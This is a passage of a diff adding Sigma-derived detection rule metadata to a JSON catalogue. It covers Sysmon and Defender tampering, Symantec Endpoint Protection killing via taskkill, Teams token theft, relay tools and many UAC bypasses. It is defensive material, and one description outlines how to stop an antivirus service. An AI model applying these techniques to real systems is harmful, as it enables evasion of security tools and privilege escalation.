+ "level": "medium", + "falsepositive": [ + "Legitimate use of PsService by an administrator" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of SharpEvtHook, a tool to tamper with Windows event logs", + "uuid": "bedfc8ad-d1c7-4e37-a20e-e2b0dbee759c", + "value": "SharpEvtMute EvtMuteHook Load", + "meta": { + "refs": [ + "https://github.com/bats3c/EvtMute", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_disable_sharpevtmute.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2022/09/07", + "filename": "proc_creation_win_sysmon_disable_sharpevtmute.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect possible Sysmon driver unload", + "uuid": "4d7cda18-1b12-4e52-b45c-d28653210df8", + "value": "Sysmon Driver Unload", + "meta": { + "refs": [ + "https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_driver_unload.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1562", + "attack.t1562.002" + ], + "creation_date": "2019/10/23", + "filename": "proc_creation_win_sysmon_driver_unload.yml", + "author": "Kirill Kiryanov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)", + "uuid": "6d1058a4-407e-4f3a-a144-1968c11dc5c3", + "value": "Suspicious Sysmon as Execution Parent", + "meta": { + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41120", + "https://twitter.com/filip_dragovic/status/1590052248260055041", + "https://twitter.com/filip_dragovic/status/1590104354727436290", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_exploitation.yml" + ], + "tags": "No established tags", + "creation_date": "2022/11/10", + "filename": "proc_creation_win_sysmon_exploitation.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects UAC bypass method using Windows event viewer", + "uuid": "be344333-921d-4c4d-8bb8-e584cf584780", + "value": "UAC Bypass via Event Viewer", + "meta": { + "refs": [ + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_uac_bypass_eventvwr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "car.2019-04-001" + ], + "creation_date": "2017/03/19", + "filename": "proc_creation_win_sysmon_uac_bypass_eventvwr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)", + "uuid": "3c1b5fb0-c72f-45ba-abd1-4d4c353144ab", + "value": "Process Creation Using Sysnative Folder", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysnative.yml" + ], + "tags": [ + "attack.t1055" + ], + "creation_date": "2022/08/23", + "filename": "proc_creation_win_sysnative.yml", + "author": "Max Altgelt", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Windows program executable started from a suspicious folder", + "uuid": "e4a6b256-3e47-40fc-89d2-7a477edd6915", + "value": "System File Execution Location Anomaly", + "meta": { + "refs": [ + "https://twitter.com/GelosSnake/status/934900723426439170", + "https://asec.ahnlab.com/en/39828/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_system_exe_anomaly.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2017/11/27", + "filename": "proc_creation_win_system_exe_anomaly.yml", + "author": "Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Exotic software" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", + "uuid": "07e3cb2c-0608-410d-be4b-1511cb1a0448", + "value": "Tamper Windows Defender Remove-MpPreference", + "meta": { + "refs": [ + "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tamper_defender_remove_mppreference.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/05", + "filename": "proc_creation_win_tamper_defender_remove_mppreference.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques", + "uuid": "99793437-3e16-439b-be0f-078782cf953d", + "value": "Tap Installer Execution", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tap_installer_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_tap_installer_execution.yml", + "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate OpenVPN TAP insntallation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects one of the possible scenarios for disabling symantec endpoint protection.\nSymantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism.\nAs a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.\n", + "uuid": "4a6713f6-3331-11ed-a261-0242ac120002", + "value": "Taskkill Symantec Endpoint Protection", + "meta": { + "refs": [ + "https://www.exploit-db.com/exploits/37525", + "https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection", + "https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskkill_sep.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/09/13", + "filename": "proc_creation_win_taskkill_sep.yml", + "author": "Ilya Krestinichev, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The Tasks folder in system32 and syswow64 are globally writable paths.\nAdversaries can take advantage of this and load or influence any script hosts or ANY .NET Application \nin Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr\n", + "uuid": "cc4e02ba-9c06-48e2-b09e-2500cace9ae0", + "value": "Tasks Folder Evasion", + "meta": { + "refs": [ + "https://twitter.com/subTee/status/1216465628946563073", + "https://gist.github.com/am0nsec/8378da08f848424e4ab0cc5b317fdd26", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_task_folder_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.execution", + "attack.t1574.002" + ], + "creation_date": "2020/01/13", + "filename": "proc_creation_win_task_folder_evasion.yml", + "author": "Sreeman", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", + "uuid": "d2eb17db-1d39-41dc-b57f-301f6512fa75", + "value": "Suspicious Command With Teams Objects Pathes", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", + "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_teams_suspicious_command_line_cred_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1528" + ], + "creation_date": "2022/09/16", + "filename": "proc_creation_win_teams_suspicious_command_line_cred_access.yml", + "author": "@SerkinValery", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)", + "uuid": "1012f107-b8f1-4271-af30-5aed2de89b39", + "value": "Terminal Service Process Spawn", + "meta": { + "refs": [ + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_termserv_proc_spawn.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.lateral_movement", + "attack.t1210", + "car.2013-07-002" + ], + "creation_date": "2019/05/22", + "filename": "proc_creation_win_termserv_proc_spawn.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects different hacktools used for relay attacks on Windows for privilege escalation", + "uuid": "5589ab4f-a767-433c-961d-c91f3f704db1", + "value": "SMB Relay Attack Tools", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1557/001/", + "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", + "https://pentestlab.blog/2017/04/13/hot-potato/", + "https://github.com/ohpe/juicy-potato", + "https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes", + "https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_relay_attacks.yml" + ], + "tags": [ + "attack.execution", + "attack.t1557.001" + ], + "creation_date": "2021/07/24", + "filename": "proc_creation_win_tools_relay_attacks.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Legitimate files with these rare hacktool names" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)", + "uuid": "3c05e90d-7eba-4324-9972-5d7f711a60a8", + "value": "UAC Bypass Tools Using ComputerDefaults", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_uac_bypass_computerdefaults.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/31", + "filename": "proc_creation_win_tools_uac_bypass_computerdefaults.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity", + "uuid": "4e2ed651-1906-4a59-a78a-18220fca1b22", + "value": "NirCmd Tool Execution", + "meta": { + "refs": [ + "https://www.nirsoft.net/utils/nircmd.html", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://www.nirsoft.net/utils/nircmd2.html#using", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2022/01/24", + "filename": "proc_creation_win_tool_nircmd.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use by administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of NirCmd tool for command execution as SYSTEM user", + "uuid": "d9047477-0359-48c9-b8c7-792cedcdc9c4", + "value": "NirCmd Tool Execution As LOCAL SYSTEM", + "meta": { + "refs": [ + "https://www.nirsoft.net/utils/nircmd.html", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://www.nirsoft.net/utils/nircmd2.html#using", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd_as_system.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2022/01/24", + "filename": "proc_creation_win_tool_nircmd_as_system.yml", + "author": "Florian Roth, Nasreddine Bencherchali @nas_bench", + "level": "high", + "falsepositive": [ + "Legitimate use by administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of NSudo tool for command execution", + "uuid": "771d1eb5-9587-4568-95fb-9ec44153a012", + "value": "NSudo Tool Execution", + "meta": { + "refs": [ + "https://nsudo.m2team.org/en-us/", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nsudo_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2022/01/24", + "filename": "proc_creation_win_tool_nsudo_execution.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate use by administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PsExec service execution via default service image name", + "uuid": "fa91cc36-24c9-41ce-b3c8-3bbc3f2f67ba", + "value": "PsExec Tool Execution", + "meta": { + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_psexec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2017/06/12", + "filename": "proc_creation_win_tool_psexec.yml", + "author": "Thomas Patzke", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of RunXCmd tool for command execution", + "uuid": "93199800-b52a-4dec-b762-75212c196542", + "value": "RunXCmd Tool Execution As System", + "meta": { + "refs": [ + "https://www.d7xtech.com/free-software/runx/", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_runx_as_system.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2022/01/24", + "filename": "proc_creation_win_tool_runx_as_system.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use by administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Tor or Tor-Browser to connect to onion routing networks", + "uuid": "62f7c9bf-9135-49b2-8aeb-1e54a6ecc13c", + "value": "Tor Client or Tor Browser Use", + "meta": { + "refs": [ + "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tor_browser.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090.003" + ], + "creation_date": "2022/02/20", + "filename": "proc_creation_win_tor_browser.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of TruffleSnout.exe", + "uuid": "69ca006d-b9a9-47f5-80ff-ecd4d25d481a", + "value": "Launch TruffleSnout Executable", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", + "https://github.com/dsnezhkov/TruffleSnout", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trufflesnout.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482" + ], + "creation_date": "2022/08/20", + "filename": "proc_creation_win_trufflesnout.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies execution of nltest.exe and dsquery.exe for domain trust discovery. This technique is used by attackers to enumerate Active Directory trusts.", + "uuid": "3bad990e-4848-4a78-9530-b427d854aac0", + "value": "Domain Trust Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1482/T1482.md", + "https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trust_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_trust_discovery.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, omkar72", + "level": "medium", + "falsepositive": [ + "Legitimate use of the utilities by legitimate user for legitimate reason" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)", + "uuid": "503d581c-7df0-4bbe-b9be-5840c0ecc1fc", + "value": "UAC Bypass Using ChangePK and SLUI", + "meta": { + "refs": [ + "https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b", + "https://github.com/hfiref0x/UACME", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_uac_bypass_changepk_slui.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)", + "uuid": "b697e69c-746f-4a86-9f59-7bfff8eab881", + "value": "UAC Bypass Using Disk Cleanup", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cleanmgr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_uac_bypass_cleanmgr.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files", + "uuid": "e66779cc-383e-4224-a3a4-267eeb585c40", + "value": "Bypass UAC via CMSTP", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.003/T1218.003.md", + "https://lolbas-project.github.io/lolbas/Binaries/Cmstp/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002", + "attack.t1218.003" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_uac_bypass_cmstp.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate use of cmstp.exe utility by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", + "uuid": "1ca6bd18-0ba0-44ca-851c-92ed89a61085", + "value": "UAC Bypass Using Consent and Comctl32 - Process", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_uac_bypass_consent_comctl32.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)", + "uuid": "853e74f9-9392-4935-ad3b-2e8c040dae86", + "value": "UAC Bypass Using DismHost", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_dismhost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_uac_bypass_dismhost.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.", + "uuid": "7f741dcf-fc22-4759-87b4-9ae8376676a2", + "value": "Bypass UAC via Fodhelper.exe", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_fodhelper.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_uac_bypass_fodhelper.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate use of fodhelper.exe utility by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in", + "uuid": "e52cb31c-10ed-4aea-bcb7-593c9f4a315b", + "value": "UAC Bypass via Windows Firewall Snap-In Hijack", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/uac-bypass-via-windows-firewall-snap-in-hijack.html#uac-bypass-via-windows-firewall-snap-in-hijack", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface", + "uuid": "49f2f17b-b4c8-4172-a68b-d5bf95d05130", + "value": "UAC Bypass via ICMLuaUtil", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/uac-bypass-via-icmluautil-elevated-com-interface.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_icmluautil.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2022/09/13", + "filename": "proc_creation_win_uac_bypass_icmluautil.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the \"IDiagnosticProfileUAC\" UAC bypass technique", + "uuid": "4cbef972-f347-4170-b62a-8253f6168e6d", + "value": "UAC Bypass Using IDiagnostic Profile", + "meta": { + "refs": [ + "https://github.com/Wh04m1001/IDiagnosticProfileUAC", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_idiagnostic_profile.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2022/07/03", + "filename": "proc_creation_win_uac_bypass_idiagnostic_profile.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", + "uuid": "80fc36aa-945e-4181-89f2-2f907ab6775d", + "value": "UAC Bypass Using IEInstal - Process", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_uac_bypass_ieinstal.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", + "uuid": "ad92e3f9-7eb6-460e-96b1-582b0ccbb980", + "value": "UAC Bypass Using MSConfig Token Modification - Process", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_msconfig_gui.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_uac_bypass_msconfig_gui.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", + "uuid": "39ed3c80-e6a1-431b-9df3-911ac53d08a7", + "value": "UAC Bypass Using NTFS Reparse Point - Process", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ntfs_reparse_point.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_uac_bypass_ntfs_reparse_point.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)", + "uuid": "a743ceba-c771-4d75-97eb-8a90f7f4844c", + "value": "UAC Bypass Using PkgMgr and DISM", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_pkgmgr_dism.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_uac_bypass_pkgmgr_dism.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", + "uuid": "7a01183d-71a2-46ad-ad5c-acd989ac1793", + "value": "UAC Bypass Abusing Winsat Path Parsing - Process", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_winsat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_uac_bypass_winsat.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", + "uuid": "0058b9e5-bcd7-40d4-9205-95ca5a16d7b2", + "value": "UAC Bypass Using Windows Media Player - Process", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + 